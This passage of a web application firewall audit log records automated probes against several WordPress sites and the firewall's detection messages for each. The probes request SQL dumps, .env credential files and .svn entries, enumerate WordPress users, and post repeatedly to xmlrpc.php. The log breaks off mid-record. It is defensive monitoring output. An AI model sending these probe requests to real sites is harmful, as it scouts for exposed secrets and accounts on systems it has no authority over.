"/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/back.sql"] [unique_id "aE89-NkGqt_oHz6gRVdJUwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023672861454 661103 (- - -) Stopwatch2: 1750023672861454 661103; combined=2029, p1=343, p2=1584, p3=0, p4=0, p5=101, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4cce1953-Z-- --ace70067-A-- [16/Jun/2025:03:11:25.754995 +0530] aE8-BX2GhYywD7zZgx76hQAAAAM 185.177.72.210 37144 127.0.0.1 7081 --ace70067-B-- GET /buck.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ace70067-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9880ce36679a4ab9e037bc5adb780481750023685; expires=Sun, 15 Jun 2025 22:41:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ace70067-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/buck.sql"] [unique_id "aE8-BX2GhYywD7zZgx76hQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023685101005 654065 (- - -) Stopwatch2: 1750023685101005 654065; combined=1667, p1=325, p2=1240, p3=0, p4=0, p5=101, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ace70067-Z-- --1e9f327f-A-- [16/Jun/2025:03:11:26.054560 +0530] aE8-BXZqyQ8YfVGvJU7ZAQAAAAY 172.70.216.152 37172 127.0.0.1 7081 --1e9f327f-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.216.152 X-Forwarded-For: 185.208.107.45 Connection: close cf-ray: 95053b41bdf2ed22-MXP cf-ipcountry: IT referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 185.208.107.45 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --1e9f327f-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --1e9f327f-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-BXZqyQ8YfVGvJU7ZAQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023685716933 337749 (- - -) Stopwatch2: 1750023685716933 337749; combined=2007, p1=326, p2=1573, p3=0, p4=0, p5=107, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e9f327f-Z-- --f328c468-A-- [16/Jun/2025:03:11:31.694286 +0530] aE8-C3ZqyQ8YfVGvJU7ZAwAAAAY 185.177.72.210 38784 127.0.0.1 7081 --f328c468-B-- GET /2.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f328c468-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e1021da0c8ba6fdb3a85180e3ffbb4971750023691; expires=Sun, 15 Jun 2025 22:41:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f328c468-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2.sql"] [unique_id "aE8-C3ZqyQ8YfVGvJU7ZAwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023691041975 652419 (- - -) Stopwatch2: 1750023691041975 652419; combined=2002, p1=322, p2=1551, p3=0, p4=0, p5=128, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f328c468-Z-- --ec7e4d45-A-- [16/Jun/2025:03:11:33.535693 +0530] aE8-DUNwpNEMJppxC49SKwAAAAI 172.70.216.150 38898 127.0.0.1 7081 --ec7e4d45-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.216.150 X-Forwarded-For: 185.208.107.45 Connection: close cf-ray: 95053b70fccced5a-MXP cf-ipcountry: IT referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 185.208.107.45 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --ec7e4d45-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --ec7e4d45-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-DUNwpNEMJppxC49SKwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023693270268 265518 (- - -) Stopwatch2: 1750023693270268 265518; combined=2638, p1=449, p2=2067, p3=0, p4=0, p5=121, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec7e4d45-Z-- --6678d20c-A-- [16/Jun/2025:03:11:36.625872 +0530] aE8-D3ZqyQ8YfVGvJU7ZBQAAAAY 185.177.72.210 38978 127.0.0.1 7081 --6678d20c-B-- GET /:8880/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6678d20c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dd9478407912fe825f421ed4d378536c1750023696; expires=Sun, 15 Jun 2025 22:41:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6678d20c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/front-end/.env"] [unique_id "aE8-D3ZqyQ8YfVGvJU7ZBQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023695939761 686187 (- - -) Stopwatch2: 1750023695939761 686187; combined=1723, p1=392, p2=1234, p3=0, p4=0, p5=96, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6678d20c-Z-- --6e46b81e-A-- [16/Jun/2025:03:11:44.392341 +0530] aE8-GLsEVBap6l1Fvp1AcgAAAAQ 172.71.218.67 43984 127.0.0.1 7081 --6e46b81e-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.218.67 X-Forwarded-For: 116.212.138.252 Connection: close cf-ray: 95053bb3be5f8557-HKG cf-ipcountry: KH referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 116.212.138.252 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --6e46b81e-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --6e46b81e-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-GLsEVBap6l1Fvp1AcgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023704135092 257378 (- - -) Stopwatch2: 1750023704135092 257378; combined=2174, p1=355, p2=1719, p3=0, p4=0, p5=100, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e46b81e-Z-- --abc56e51-A-- [16/Jun/2025:03:11:45.182319 +0530] aE8-GH2GhYywD7zZgx76jQAAAAM 185.177.72.210 44004 127.0.0.1 7081 --abc56e51-B-- GET /2015.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --abc56e51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e83d4ace26bdbc92a5fd2bc3b45378641750023705; expires=Sun, 15 Jun 2025 22:41:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --abc56e51-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2015.sql"] [unique_id "aE8-GH2GhYywD7zZgx76jQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023704533380 649001 (- - -) Stopwatch2: 1750023704533380 649001; combined=1919, p1=396, p2=1422, p3=0, p4=0, p5=100, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --abc56e51-Z-- --7e81af72-A-- [16/Jun/2025:03:11:50.151132 +0530] aE8-HYl8S04UZ4l67-nexwAAAAk 185.177.72.210 50358 127.0.0.1 7081 --7e81af72-B-- GET /backups/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7e81af72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28ea5864f8d570fc758854215e1d74951750023710; expires=Sun, 15 Jun 2025 22:41:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7e81af72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.backup"] [unique_id "aE8-HYl8S04UZ4l67-nexwAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.backup"] [unique_id "aE8-HYl8S04UZ4l67-nexwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023709513473 637734 (- - -) Stopwatch2: 1750023709513473 637734; combined=1810, p1=324, p2=1338, p3=0, p4=0, p5=147, sr=79, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e81af72-Z-- --b2cb073c-A-- [16/Jun/2025:03:11:54.126384 +0530] aE8-IYrLgrklqy57Kk2cmwAAAAg 172.71.210.158 50926 127.0.0.1 7081 --b2cb073c-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.210.158 X-Forwarded-For: 116.212.138.252 Connection: close cf-ray: 95053bf07d85105b-HKG cf-ipcountry: KH referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 116.212.138.252 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --b2cb073c-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --b2cb073c-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-IYrLgrklqy57Kk2cmwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023713850177 276299 (- - -) Stopwatch2: 1750023713850177 276299; combined=2326, p1=353, p2=1887, p3=0, p4=0, p5=86, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2cb073c-Z-- --320c2338-A-- [16/Jun/2025:03:11:55.105122 +0530] aE8-ItkGqt_oHz6gRVdJagAAAAw 128.199.112.101 50942 127.0.0.1 7081 --320c2338-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --320c2338-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --320c2338-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8-ItkGqt_oHz6gRVdJagAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023714160822 944377 (- - -) Stopwatch2: 1750023714160822 944377; combined=2245, p1=343, p2=1493, p3=43, p4=64, p5=185, sr=90, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --320c2338-Z-- --df8e1838-A-- [16/Jun/2025:03:12:00.364064 +0530] aE8-J3ZqyQ8YfVGvJU7ZFgAAAAY 185.177.72.210 39888 127.0.0.1 7081 --df8e1838-B-- GET /backup/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df8e1838-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4e2b127bf02f897cb3418086cf789611750023720; expires=Sun, 15 Jun 2025 22:42:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df8e1838-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.svn/entries"] [unique_id "aE8-J3ZqyQ8YfVGvJU7ZFgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023719726943 637185 (- - -) Stopwatch2: 1750023719726943 637185; combined=2310, p1=477, p2=1735, p3=0, p4=0, p5=97, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df8e1838-Z-- --210fa70e-A-- [16/Jun/2025:03:12:01.595415 +0530] aE8-KbsEVBap6l1Fvp1AgAAAAAQ 172.69.170.145 40024 127.0.0.1 7081 --210fa70e-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.170.145 X-Forwarded-For: 41.191.224.162 Connection: close cf-ray: 95053c1e2b388a47-NBO cf-ipcountry: KE referer: 